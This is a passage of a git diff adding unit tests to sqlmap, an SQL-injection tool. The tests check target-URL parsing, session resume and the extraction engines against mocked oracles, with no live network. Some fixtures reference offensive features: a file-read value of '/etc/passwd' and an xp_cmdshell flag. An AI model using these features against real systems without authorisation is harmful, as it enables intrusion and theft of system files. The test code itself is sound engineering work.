reset_dbms +bootstrap() + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import mergedOptions +from lib.core.data import paths +from lib.core.common import Backend +from lib.core.common import hashDBWrite +from lib.core.enums import HASHDB_KEYS +from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD +from lib.core.enums import PLACE +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import RESTORE_MERGED_OPTIONS +from lib.core.settings import UNENCODED_ORIGINAL_VALUE +from lib.core.threads import getCurrentThreadData +from lib.utils.hashdb import HashDB +from lib.core.target import _createDumpDir +from lib.core.target import _createFilesDir +from lib.core.target import _createTargetDirs +from lib.core.target import _resumeDBMS +from lib.core.target import _resumeHashDBValues +from lib.core.target import _resumeOS +from lib.core.target import _restoreMergedOptions +from lib.core.target import _setAuxOptions +from lib.core.target import _setHashDB +from lib.core.target import _setRequestParams +from lib.core.target import _setResultsFile +from lib.core.target import initTargetEnv + +SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path) +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) + +# conf/kb keys that the tests below mutate; saved in setUp, restored in tearDown so +# one test can never leak global state into another (or into the rest of the suite). +_CONF_KEYS = ( + "direct", "parameters", "paramDict", "method", "data", "cookie", "httpHeaders", + "testParameter", "csrfToken", "url", "forms", "crawlDepth", "hostname", "path", + "port", "dbms", "os", "offline", "tmpPath", "technique", "dumpTable", "dumpAll", + "search", "fileRead", "commonFiles", "dumpPath", "filePath", "outputPath", + "hashDB", "hashDBFile", "sessionFile", "flushSession", "freshQueries", + "multipleTargets", "resultsFP", "resultsFile", "base64Parameter", "forceDbms", +) +_KB_KEYS = ( + "processUserMarks", "postHint", "customInjectionMark", "testOnlyCustom", + "resumeValues", "aliasName", "errorChunkLength", "xpCmdshellAvailable", + "chars", "originalUrls", "postUrlEncode", "postSpaceToPlus", +) +_PATH_KEYS = ("SQLMAP_OUTPUT_PATH", "SQLMAP_DUMP_PATH", "SQLMAP_FILES_PATH") + + +class _TargetTestBase(unittest.TestCase): + """Snapshot/restore conf, kb and paths globals around each test.""" + + def setUp(self): + self._conf = {k: conf.get(k) for k in _CONF_KEYS} + self._kb = {k: kb.get(k) for k in _KB_KEYS} + self._paths = {k: paths.get(k) for k in _PATH_KEYS} + # _resumeDBMS/_resumeOS mutate these kb fields via Backend.set* (not in _KB_KEYS) + self._dbms = kb.get("dbms") + self._forcedDbms = kb.get("forcedDbms") + self._tmpdirs = [] + + def tearDown(self): + # close any session DB we opened before restoring globals + if conf.get("hashDB"): + try: + conf.hashDB.close() + except Exception: + pass + getCurrentThreadData().hashDBCursor = None + if conf.get("resultsFP"): + try: + conf.resultsFP.close() + except Exception: + pass + for k, v in self._conf.items(): + conf[k] = v + for k, v in self._kb.items(): + kb[k] = v + for k, v in self._paths.items(): + paths[k] = v + kb.dbms = self._dbms # _resumeDBMS may have set an identified DBMS + kb.forcedDbms = self._forcedDbms + for d in self._tmpdirs: + shutil.rmtree(d, ignore_errors=True) + + def _outdir(self, name): + d = os.path.join(SCRATCH, name) + shutil.rmtree(d, ignore_errors=True) + self._tmpdirs.append(d) + paths.SQLMAP_OUTPUT_PATH = d + paths.SQLMAP_DUMP_PATH = os.path.join(d, "%s", "dump") + paths.SQLMAP_FILES_PATH = os.path.join(d, "%s", "files") + return d + + def _new_hashdb(self): + handle, path = tempfile.mkstemp(suffix=".sqlite", dir=SCRATCH) + os.close(handle) + os.remove(path) + getCurrentThreadData().hashDBCursor = None + conf.hashDB = HashDB(path) + conf.hostname = "h" + conf.path = "/" + conf.port = 80 + kb.resumeValues = True + conf.flushSession = False + conf.freshQueries = False + # another test file may have force-set a DBMS via set_dbms(); a leaked forcedDbms + # takes precedence in getIdentifiedDbms() and would mask what _resumeDBMS resolves + conf.forceDbms = None + kb.forcedDbms = None + kb.dbms = None + self.addCleanup(self._cleanup_hashdb, path) + return path + + def _cleanup_hashdb(self, path): + for f in (path, path + "-wal", path + "-shm"): + if os.path.exists(f): + try: + os.remove(f) + except OSError: + pass + + +class TestRestoreMergedOptions(_TargetTestBase): + def test_restores_each_option_from_mergedOptions(self): + saved = {} + for opt in RESTORE_MERGED_OPTIONS: + saved[opt] = mergedOptions.get(opt) + mergedOptions[opt] = "VAL_%s" % opt + conf[opt] = "tampered" + try: + _restoreMergedOptions() + for opt in RESTORE_MERGED_OPTIONS: + self.assertEqual(conf[opt], "VAL_%s" % opt, + msg="option %r not restored from mergedOptions" % opt) + finally: + for opt, v in saved.items(): + mergedOptions[opt] = v + + +class TestSetAuxOptions(_TargetTestBase): + def test_alias_is_nonempty_string(self): + conf.hostname = "example.com" + _setAuxOptions() + self.assertIsInstance(kb.aliasName, str) + self.assertTrue(kb.aliasName) + + def test_alias_deterministic_for_same_host(self): + conf.hostname = "example.com" + _setAuxOptions() + first = kb.aliasName + _setAuxOptions() + self.assertEqual(kb.aliasName, first) + + def test_alias_handles_none_host(self): + conf.hostname = None + _setAuxOptions() # seed=hash("") must not raise + self.assertIsInstance(kb.aliasName, str) + + +class TestInitTargetEnv(_TargetTestBase): + def _base(self): + conf.url = "http://h/?id=1" + conf.data = None + conf.httpHeaders = [] + conf.base64Parameter = None + conf.multipleTargets = False + + def test_default_injection_marker(self): + self._base() + initTargetEnv() + self.assertEqual(kb.customInjectionMark, CUSTOM_INJECTION_MARK_CHAR) + + def test_inject_here_marker_detected(self): + self._base() + conf.url = "http://h/?id=%INJECT_HERE%" + initTargetEnv() + self.assertEqual(kb.customInjectionMark, "%INJECT_HERE%") + + def test_urlencoded_post_body_is_decoded(self): + self._base() + conf.url = "http://h/" + conf.data = "id=a%20b" + conf.httpHeaders = [("Content-Type", "application/x-www-form-urlencoded")] + initTargetEnv() + self.assertTrue(kb.postUrlEncode) + self.assertEqual(str(conf.data), "id=a b") + # the raw (still-encoded) original is preserved as an attribute for later re-encoding + self.assertEqual(getattr(conf.data, UNENCODED_ORIGINAL_VALUE, None), "id=a%20b") + + def test_non_urlencoded_content_type_skips_decode(self): + self._base() + conf.url = "http://h/" + conf.data = "id=a%20b" + conf.httpHeaders = [("Content-Type", "application/json")] + conf.base64Parameter = None + initTargetEnv() + self.assertFalse(kb.postUrlEncode) + + def test_base64_post_body_is_decoded(self): + self._base() + conf.url = "http://h/" + conf.data = "aWQ9MQ==" # base64 of "id=1" + conf.httpHeaders = [("Content-Type", "application/json")] + conf.base64Parameter = "POST" + initTargetEnv() + self.assertEqual(str(conf.data), "id=1") + self.assertEqual(getattr(conf.data, UNENCODED_ORIGINAL_VALUE, None), "aWQ9MQ==") + + +class TestSetRequestParams(_TargetTestBase): + def _fresh(self): + conf.direct = None + conf.parameters = {} + conf.paramDict = {} + conf.method = HTTPMETHOD.GET + conf.data = None + conf.cookie = None + conf.httpHeaders = [] + conf.testParameter = None + conf.csrfToken = None + conf.url = "http://h/" + conf.forms = False + conf.crawlDepth = None + kb.processUserMarks = None + kb.postHint = None + kb.customInjectionMark = "*" + kb.testOnlyCustom = False + + def test_direct_connection_shortcut(self): + self._fresh() + conf.direct = "mysql://u:p@h/db" + conf.parameters = {} + _setRequestParams() + self.assertEqual(conf.parameters[None], "direct connection") + + def test_get_parameters_split(self): + self._fresh() + conf.parameters = {PLACE.GET: "id=1&name=foo"} + conf.url = "http://h/?id=1&name=foo" + _setRequestParams() + self.assertEqual(dict(conf.paramDict[PLACE.GET]), {"id": "1", "name": "foo"}) + + def test_post_parameters_split(self): + self._fresh() + conf.method = HTTPMETHOD.POST + conf.data = "a=1&b=2" + _setRequestParams() + self.assertEqual(dict(conf.paramDict[PLACE.POST]), {"a": "1", "b": "2"}) + + def test_cookie_parameters_split(self): + self._fresh() + conf.parameters = {PLACE.GET: "id=1"} + conf.url = "http://h/?id=1" + conf.cookie = "sess=abc; uid=5" + _setRequestParams() + self.assertIn(PLACE.COOKIE, conf.paramDict) + self.assertEqual(dict(conf.paramDict[PLACE.COOKIE]), {"sess": "abc", "uid": "5"}) + + def test_user_agent_header_is_testable(self): + self._fresh() + conf.httpHeaders = [(HTTP_HEADER.USER_AGENT, "Mozilla")] + _setRequestParams() + self.assertIn(PLACE.USER_AGENT, conf.paramDict) + + def test_referer_header_is_testable(self): + self._fresh() + conf.httpHeaders = [(HTTP_HEADER.REFERER, "http://ref/")] + _setRequestParams() + self.assertIn(PLACE.REFERER, conf.paramDict) + + def test_no_parameters_raises(self): + self._fresh() + with self.assertRaises(SqlmapGenericException): + _setRequestParams() + + def test_empty_post_body_defaults_to_empty_string(self): + self._fresh() + conf.method = HTTPMETHOD.POST + conf.data = None + conf.parameters = {PLACE.GET: "id=1"} # keep a testable param so it doesn't raise + conf.url = "http://h/?id=1" + _setRequestParams() + self.assertEqual(conf.data, "") + + +class TestResumeDBMS(_TargetTestBase): + def test_resumes_dbms_with_version(self): + self._new_hashdb() + conf.dbms = None + conf.offline = False + hashDBWrite(HASHDB_KEYS.DBMS, "MySQL 5.0") + _resumeDBMS() + self.assertEqual(Backend.getIdentifiedDbms(), "MySQL") + + def test_no_stored_dbms_returns_quietly(self): + self._new_hashdb() + conf.dbms = None + conf.offline = False + _resumeDBMS() # nothing stored: must just return + # the quiet-return branch must leave NO DBMS identified (a real + # side-effect assertion, not merely "did not raise") + self.assertIsNone(Backend.getIdentifiedDbms()) + + def test_offline_without_session_raises(self): + self._new_hashdb() + conf.dbms = None + conf.offline = True + with self.assertRaises(SqlmapNoneDataException): + _resumeDBMS() + + +class TestResumeOS(_TargetTestBase): + def test_resumes_os(self): + self._new_hashdb() + conf.os = None + hashDBWrite(HASHDB_KEYS.OS, "Linux") + _resumeOS() + self.assertEqual(conf.os, "Linux") + + def test_no_stored_os_returns_quietly(self): + self._new_hashdb() + conf.os = None + _resumeOS() + self.assertIsNone(conf.os) + + def test_stored_none_string_is_ignored(self): + self._new_hashdb() + conf.os = None + hashDBWrite(HASHDB_KEYS.OS, "None") + _resumeOS() + self.assertIsNone(conf.os) + + +class TestResumeHashDBValues(_TargetTestBase): + def _base(self): + self._new_hashdb() + conf.dbms = None + conf.offline = False + conf.os = None + conf.tmpPath = None + conf.technique = None + conf.paramDict = {} + + def test_resumes_serialized_chars(self): + self._base() + kb.chars = None + hashDBWrite(HASHDB_KEYS.KB_CHARS, {"a": 1}, serialize=True) + _resumeHashDBValues() + self.assertEqual(kb.chars, {"a": 1}) + + def test_resumes_numeric_error_chunk_length(self): + self._base() + kb.errorChunkLength = None + hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, "5") + _resumeHashDBValues() + self.assertEqual(kb.errorChunkLength, 5) + + def test_non_numeric_chunk_length_becomes_none(self): + self._base() + kb.errorChunkLength = 99 + hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, "notanumber") + _resumeHashDBValues() + self.assertIsNone(kb.errorChunkLength) + + def test_xp_cmdshell_true_coerced_to_bool(self): + self._base() + kb.xpCmdshellAvailable = False + hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, str(True)) + _resumeHashDBValues() + self.assertIs(kb.xpCmdshellAvailable, True) + + +class TestSetHashDB(_TargetTestBase): + def test_derives_session_file_under_output_path(self): + out = self._outdir("hdb_out") + os.makedirs(out) + getCurrentThreadData().hashDBCursor = None + conf.hashDBFile = None + conf.sessionFile = None + conf.outputPath = out + conf.flushSession = False + conf.hashDB = None + _setHashDB() + self.assertTrue(conf.hashDBFile.startswith(out)) + self.assertIsInstance(conf.hashDB, HashDB) + + def test_explicit_session_file_takes_precedence(self): + out = self._outdir("hdb_out2") + os.makedirs(out) + sess = os.path.join(out, "custom.sqlite") + getCurrentThreadData().hashDBCursor = None + conf.hashDBFile = None + conf.sessionFile = sess + conf.outputPath = out + conf.flushSession = False + conf.hashDB = None + _setHashDB() + self.assertEqual(conf.hashDBFile, sess) + + +class TestCreateDirs(_TargetTestBase): + def test_dump_dir_skipped_without_dump_flags(self): + self._outdir("d_out") + conf.hostname = "example.com" + conf.dumpPath = None + conf.dumpTable = False + conf.dumpAll = False + conf.search = False + _createDumpDir() + self.assertIsNone(conf.dumpPath) + + def test_dump_dir_created_per_host(self): + self._outdir("d_out2") + conf.hostname = "example.com" + conf.dumpTable = True + conf.dumpAll = False + conf.search = False + _createDumpDir() + self.assertTrue(os.path.isdir(conf.dumpPath)) + self.assertIn("example.com", conf.dumpPath) + + def test_files_dir_skipped_without_file_flags(self): + self._outdir("f_out") + conf.hostname = "example.com" + conf.filePath = None + conf.fileRead = None + conf.commonFiles = None + _createFilesDir() + self.assertIsNone(conf.filePath) + + def test_files_dir_created_per_host(self): + self._outdir("f_out2") + conf.hostname = "example.com" + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + _createFilesDir() + self.assertTrue(os.path.isdir(conf.filePath)) + self.assertIn("example.com", conf.filePath) + + def test_target_dir_and_target_txt(self): + self._outdir("t_out") + conf.hostname = "example.com" + conf.url = "http://example.com/?id=1" + conf.data = None + conf.dumpTable = False + conf.dumpAll = False + conf.search = False + conf.fileRead = None + conf.commonFiles = None + kb.originalUrls = {} + _createTargetDirs() + self.assertTrue(os.path.isdir(conf.outputPath)) + target = os.path.join(conf.outputPath, "target.txt") + self.assertTrue(os.path.exists(target)) + with open(target) as f: + content = f.read() + self.assertIn("http://example.com/?id=1", content) + self.assertIn("(%s)" % HTTPMETHOD.GET, content) + + +class TestSetResultsFile(_TargetTestBase): + def test_skipped_when_not_multiple_targets(self): + self._outdir("r_out") + conf.multipleTargets = False + conf.resultsFP = None + _setResultsFile() + self.assertIsNone(conf.resultsFP) + + def test_creates_csv_with_header_in_multiple_target_mode(self): + out = self._outdir("r_out2") + os.makedirs(out) + conf.multipleTargets = True + conf.resultsFile = os.path.join(out, "res.csv") + conf.resultsFP = None + _setResultsFile() + self.assertTrue(os.path.exists(conf.resultsFile)) + conf.resultsFP.flush() + with open(conf.resultsFile) as f: + header = f.readline() + self.assertIn("Target URL", header) + self.assertIn("Parameter", header) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_targeturl.py b/tests/test_targeturl.py new file mode 100644 index 00000000000..74c14c07163 --- /dev/null +++ b/tests/test_targeturl.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Target URL parsing (lib/core/common.py parseTargetUrl). + +parseTargetUrl reads conf.url and populates conf.hostname / conf.port / +conf.scheme / conf.path - the values every subsequent request is built from. A +wrong default port or dropped scheme here misdirects the entire scan, so the +scheme/default-port/explicit-port/path cases are pinned. + +(Inline URL credentials user:pw@host are intentionally not covered - sqlmap +uses --auth-cred for that and does not parse them out of conf.url.) +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import parseTargetUrl +from lib.core.data import conf + +_TARGETURL_KEYS = ("url", "hostname", "port", "scheme", "path") +_saved = {} + + +def setUpModule(): + for k in _TARGETURL_KEYS: + _saved[k] = conf.get(k) + + +def tearDownModule(): + # parseTargetUrl() writes these onto the global conf singleton; restore so it can't leak to later modules + for k, v in _saved.items(): + conf[k] = v + + +def _parse(url): + conf.url = url + parseTargetUrl() + return conf.hostname, conf.port, conf.scheme, conf.path + + +class TestScheme(unittest.TestCase): + def test_http(self): + host, port, scheme, _ = _parse("http://host/p?id=1") + self.assertEqual((host, scheme), ("host", "http")) + + def test_https(self): + _, _, scheme, _ = _parse("https://host/p") + self.assertEqual(scheme, "https") + + +class TestDefaultPorts(unittest.TestCase): + def test_http_default_80(self): + self.assertEqual(_parse("http://h/")[1], 80) + + def test_https_default_443(self): + self.assertEqual(_parse("https://h/")[1], 443) + + def test_no_trailing_slash(self): + host, port, scheme, _ = _parse("http://h") + self.assertEqual((host, port), ("h", 80)) + + +class TestExplicitPort(unittest.TestCase): + def test_explicit_port(self): + host, port, scheme, _ = _parse("https://example.com:8443/x") + self.assertEqual((host, port, scheme), ("example.com", 8443, "https")) + + +class TestPath(unittest.TestCase): + def test_path_extracted(self): + self.assertEqual(_parse("http://host/some/path?q=1")[3], "/some/path") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_techniques.py b/tests/test_techniques.py new file mode 100644 index 00000000000..966354a64d2 --- /dev/null +++ b/tests/test_techniques.py @@ -0,0 +1,1585 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Mocked-oracle / canned-input coverage for the self-contained extraction / +inference engines under lib/techniques/*: + + * lib/techniques/union/use.py - _oneShotUnionUse / unionUse / configUnion + * lib/techniques/error/use.py - _oneShotErrorUse / _errorFields / errorUse + * lib/techniques/ldap/inject.py - boolean-blind LDAP oracle + blind char inference + * lib/techniques/graphql/inject.py - schema walk, query building, blind-SQLi inference + * lib/techniques/blind/inference.py - bisection / queryOutputLength edge branches + +The established pattern (see tests/test_inference_engine.py, +tests/test_union_engine.py) is followed: the network seam (Request.queryPage / +Request.getPage / the per-module _send / _gqlSend) and the forge/escape chain are +replaced by a deterministic in-process oracle that answers against a known secret, +so the REAL extraction / parsing / bisection logic runs with no live target, +no network and no DBMS. + +stdlib unittest only; works on Python 2.7 and 3.x. +""" + +import os +import re +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict +from lib.core.common import decodeDbmsHexValue +from lib.core.common import getCurrentThreadData +from lib.core.common import hashDBWrite +from lib.core.common import setTechnique +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import PAYLOAD +from lib.core.enums import PLACE +from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import PARTIAL_VALUE_MARKER +from lib.core.agent import agent +from lib.core.unescaper import unescaper +from lib.request.connect import Connect +from lib.request.connect import Connect as Request +from lib.request import inject +from lib.utils.hashdb import HashDB + +import lib.techniques.union.use as uu +import lib.techniques.error.use as eu +import lib.techniques.ldap.inject as ldap +import lib.techniques.graphql.inject as gql +import lib.techniques.blind.inference as inf + + +# =========================================================================== +# UNION: lib/techniques/union/use.py +# =========================================================================== + +# A UNION injection vector is a tuple consumed positionally by _oneShotUnionUse / +# forgeUnionQuery (vector[0..10]). The exact contents do not matter here because the +# forge chain is stubbed to a pass-through; only the indexes the function itself reads +# (7=unionDuplicates, 8=forcePartialUnion, 9=tableFrom, 10=unionTemplate) carry meaning. +_UNION_VECTOR = (1, 2, None, "", "", "NULL", PAYLOAD.WHERE.ORIGINAL, False, False, None, None) + +_UU_CONF = {"hexConvert": False, "limitStart": 0, "limitStop": 0, "pageEncoding": None, + "forcePartial": False, "disableJson": False, "binaryFields": None, + "reportJson": False, "api": False, "threads": 1, "verbose": 0, "eta": False, + "noTruncate": True, "uFrom": None} +_UU_KB = {"jsonAggMode": False, "respTruncated": False, "unionDuplicates": False, + "forcePartialUnion": False, "tableFrom": None, "unionTemplate": None, + "nchar": False, "pageEncoding": None, "bruteMode": False, "partRun": None, + "suppressResumeInfo": False} + + +def _wrap(start, body, stop=None): + """Wrap a value in the current UNION markers, exactly as the target page would.""" + return "%s%s%s" % (start, body, stop if stop is not None else kb.chars.stop) + + +class _UnionCase(unittest.TestCase): + """Base: stub the forge/escape/transport seam so _oneShotUnionUse's OWN parsing + (marker extraction, hashDB caching, json-agg, trimming, retry) is what is exercised.""" + + def setUp(self): + self._sc = {k: conf.get(k) for k in _UU_CONF} + self._sk = {k: kb.get(k) for k in _UU_KB} + self._sqp = Request.queryPage + self._scounters = kb.get("counters") + self._sinj_data = kb.injection.data + self._shashdb = conf.get("hashDB") + self._s_forge = agent.forgeUnionQuery + self._s_concat = agent.concatQuery + self._s_payload = agent.payload + self._s_escape = unescaper.escape + + for k, v in _UU_CONF.items(): + conf[k] = v + for k, v in _UU_KB.items(): + kb[k] = v + + kb.counters = {} + conf.hashDB = None # disable session resume in these tests + # minimal injection context the function reads + entry = AttribDict() + entry.vector = _UNION_VECTOR + entry.where = PAYLOAD.WHERE.ORIGINAL + kb.injection.data = {PAYLOAD.TECHNIQUE.UNION: entry} + + # pass-through forge chain: the produced payload text is irrelevant - the mock + # oracle answers from the EXPRESSION recorded out-of-band, not from the payload + agent.forgeUnionQuery = lambda *a, **k: "UNION-FORGED" + agent.concatQuery = lambda expression, unpack=True: expression + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: "PAYLOAD" + unescaper.escape = lambda expression, *a, **k: expression + + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + Request.queryPage = self._sqp + uu.Request.queryPage = self._sqp + kb.counters = self._scounters + kb.injection.data = self._sinj_data + conf.hashDB = self._shashdb + agent.forgeUnionQuery = self._s_forge + agent.concatQuery = self._s_concat + agent.payload = self._s_payload + unescaper.escape = self._s_escape + + def _install_page(self, page): + def oracle(payload=None, content=False, raise404=False, **kwargs): + return (page, AttribDict(), 200) if content else page + Request.queryPage = staticmethod(oracle) + uu.Request.queryPage = staticmethod(oracle) + + +class TestOneShotUnionUse(_UnionCase): + def test_single_value_extracted(self): + page = "%s" % _wrap(kb.chars.start, "hello") + self._install_page(page) + self.assertEqual(uu._oneShotUnionUse("SELECT a"), _wrap(kb.chars.start, "hello")) + + def test_multi_column_delimited(self): + body = kb.chars.delimiter.join(("u", "p")) + page = "x %s y" % _wrap(kb.chars.start, body) + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT u,p") + self.assertIn("u%sp" % kb.chars.delimiter, retVal) + + def test_no_markers_returns_none(self): + self._install_page("nothing useful here") + self.assertIsNone(uu._oneShotUnionUse("SELECT a")) + + def test_counter_incremented(self): + self._install_page(_wrap(kb.chars.start, "v")) + uu._oneShotUnionUse("SELECT a") + self.assertEqual(kb.counters.get(PAYLOAD.TECHNIQUE.UNION), 1) + + def test_last_char_trim_patched(self): + # the page carries chars.stop with its final char trimmed; the engine repairs it + trimmed = kb.chars.stop[:-1] + page = "%s%s%s" % (kb.chars.start, "data", trimmed) + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT a") + self.assertEqual(retVal, _wrap(kb.chars.start, "data")) + + def test_upper_cased_results_lowered(self): + # force-uppercased response: function lower-cases the whole page before parsing + page = ("PREFIX %s" % _wrap(kb.chars.start, "value")).upper() + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT a") + self.assertEqual(retVal, _wrap(kb.chars.start, "value").lower()) + + def test_order_by_retry_without_clause(self): + # first try (with ORDER BY) yields nothing; the engine retries stripping ORDER BY. + # both expressions feed the same stubbed oracle, so we vary the page by call count. + state = {"calls": 0} + + def oracle(payload=None, content=False, raise404=False, **kwargs): + state["calls"] += 1 + page = "" if state["calls"] == 1 else _wrap(kb.chars.start, "recovered") + return (page, AttribDict(), 200) if content else page + + Request.queryPage = staticmethod(oracle) + uu.Request.queryPage = staticmethod(oracle) + retVal = uu._oneShotUnionUse("SELECT a ORDER BY 1") + self.assertEqual(retVal, _wrap(kb.chars.start, "recovered")) + self.assertEqual(state["calls"], 2) + + def test_hashdb_resume_short_circuits(self): + # a cached value is returned without ever touching the oracle + import tempfile + from lib.utils.hashdb import HashDB + from lib.core.common import hashDBWrite + + fd, path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(path) + saved_loc = (conf.get("hostname"), conf.get("path"), conf.get("port")) + try: + conf.hashDB = HashDB(path) + conf.hostname, conf.path, conf.port = "union.invalid", "/", 80 + hashDBWrite("%s%s" % (conf.hexConvert or False, "SELECT cached"), "CACHED-UNION") + conf.hashDB.flush() + + def boom(*a, **k): + raise AssertionError("oracle must not be called on a cache hit") + Request.queryPage = staticmethod(boom) + uu.Request.queryPage = staticmethod(boom) + + self.assertEqual(uu._oneShotUnionUse("SELECT cached"), "CACHED-UNION") + finally: + conf.hostname, conf.path, conf.port = saved_loc + try: + conf.hashDB.closeAll() + except Exception: + pass + if os.path.exists(path): + os.remove(path) + + +class TestJsonAggExtraction(_UnionCase): + """kb.jsonAggMode path: the page carries a JSON array between the markers (MySQL branch).""" + + def setUp(self): + _UnionCase.setUp(self) + kb.jsonAggMode = True + + def test_json_array_rows_wrapped(self): + # MySQL non-MSSQL/PGSQL branch: json.loads(output) over a JSON-array body, each row + # re-wrapped in start/stop markers so parseUnionPage can later split it + import json + body = json.dumps(["alice", "bob"]) + page = "%s%s%s" % (kb.chars.start, body, kb.chars.stop) + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT name FROM users", False) + self.assertIn("alice", retVal) + self.assertIn("bob", retVal) + self.assertEqual(retVal.count(kb.chars.start), 2) + + def test_truncated_aggregate_sets_flag(self): + # leading marker present but no trailing marker -> single-shot considered truncated + page = "%sincomplete-json-array-no-stop" % kb.chars.start + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT name FROM users", False) + self.assertIsNone(retVal) + self.assertTrue(kb.respTruncated) + + +class TestUnionUse(_UnionCase): + """unionUse() orchestration over the (stubbed) one-shot path. set_dbms forced to a DBMS + NOT in FROM_DUMMY_TABLE and a scalar (no FROM) expression so the partial/limit/json-agg + branches are skipped and it falls through to the single one-shot extraction + parse.""" + + def setUp(self): + _UnionCase.setUp(self) + set_dbms("MySQL") + # initTechnique() only does session/template bookkeeping (page template, match ratio, + # resumed conf) irrelevant to the extraction under test, and needs a full injection + # session to run; stub it so unionUse()'s orchestration + parse is what is exercised. + self._s_initTechnique = uu.initTechnique + uu.initTechnique = lambda technique=None: None + # unionUse() calls getConsoleWidth(); with no tty (test runner) it falls back to + # curses.initscr(), which flips the terminal to the alternate screen. Pin COLUMNS + # so that path is never taken and the runner output stays clean. + self._s_columns = os.environ.get("COLUMNS") + os.environ["COLUMNS"] = "80" + + def tearDown(self): + if self._s_columns is None: + os.environ.pop("COLUMNS", None) + else: + os.environ["COLUMNS"] = self._s_columns + uu.initTechnique = self._s_initTechnique + _UnionCase.tearDown(self) + + def test_scalar_value(self): + self._install_page(_wrap(kb.chars.start, "scalar-result")) + value = uu.unionUse("SELECT 1") + self.assertEqual(value, "scalar-result") + + def test_scalar_empty(self): + self._install_page("no markers") + value = uu.unionUse("SELECT 1") + self.assertIsNone(value) + + +# =========================================================================== +# UNION-based: lib/techniques/union/use.py (partial / LIMIT-loop branches) +# =========================================================================== + +# Distinct from the scalar _UNION_VECTOR / _UU_CONF / _UU_KB above: these drive the +# partial / LIMIT-loop path (NEGATIVE where, forcePartial on, jsonAgg disabled). +_UNION_VECTOR_LIMIT = (1, 2, None, "", "", "NULL", PAYLOAD.WHERE.NEGATIVE, False, False, None, None) + +_UU_CONF_LIMIT = {"hexConvert": False, "limitStart": 0, "limitStop": 0, "pageEncoding": None, + "forcePartial": True, "disableJson": True, "binaryFields": None, + "reportJson": False, "api": False, "threads": 1, "verbose": 0, "eta": False, + "noTruncate": True, "uFrom": None} +_UU_KB_LIMIT = {"jsonAggMode": False, "respTruncated": False, "unionDuplicates": False, + "forcePartialUnion": False, "tableFrom": None, "unionTemplate": None, + "nchar": False, "pageEncoding": None, "bruteMode": False, "partRun": None, + "suppressResumeInfo": False, "threadContinue": True} + + +class _UnionLimitCase(unittest.TestCase): + """Drive unionUse() down the partial / LIMIT-loop path (jsonAgg disabled, NEGATIVE where, + forcePartial on). The forge chain is a pass-through; concatQuery records the per-row + expression so the oracle can recover the LIMIT offset and answer from a known row set.""" + + def setUp(self): + self._sc = {k: conf.get(k) for k in _UU_CONF_LIMIT} + self._sk = {k: kb.get(k) for k in _UU_KB_LIMIT} + self._sqp = Request.queryPage + self._scounters = kb.get("counters") + self._sinj_data = kb.injection.data + self._shashdb = conf.get("hashDB") + self._sbatch = conf.get("batch") + self._s_forge = agent.forgeUnionQuery + self._s_concat = agent.concatQuery + self._s_payload = agent.payload + self._s_escape = unescaper.escape + self._s_lastexpr = getattr(agent, "_lastexpr", None) + self._s_initTechnique = uu.initTechnique + + for k, v in _UU_CONF_LIMIT.items(): + conf[k] = v + for k, v in _UU_KB_LIMIT.items(): + kb[k] = v + + conf.batch = True + conf.hashDB = None + kb.counters = {} + + entry = AttribDict() + entry.vector = _UNION_VECTOR_LIMIT + entry.where = PAYLOAD.WHERE.NEGATIVE + kb.injection.data = {PAYLOAD.TECHNIQUE.UNION: entry} + + # record the expression seen by each _oneShotUnionUse so the oracle can branch on it + def rec_concat(expression, unpack=True): + agent._lastexpr = expression + return expression + agent.concatQuery = rec_concat + agent.forgeUnionQuery = lambda *a, **k: "UNION-FORGED" + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: "PAYLOAD" + unescaper.escape = lambda expression, *a, **k: expression + uu.initTechnique = lambda technique=None: None + + self._s_columns = os.environ.get("COLUMNS") + os.environ["COLUMNS"] = "80" + + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + conf.batch = self._sbatch + Request.queryPage = self._sqp + uu.Request.queryPage = self._sqp + kb.counters = self._scounters + kb.injection.data = self._sinj_data + conf.hashDB = self._shashdb + agent.forgeUnionQuery = self._s_forge + agent.concatQuery = self._s_concat + agent.payload = self._s_payload + unescaper.escape = self._s_escape + agent._lastexpr = self._s_lastexpr + uu.initTechnique = self._s_initTechnique + + if self._s_columns is None: + os.environ.pop("COLUMNS", None) + else: + os.environ["COLUMNS"] 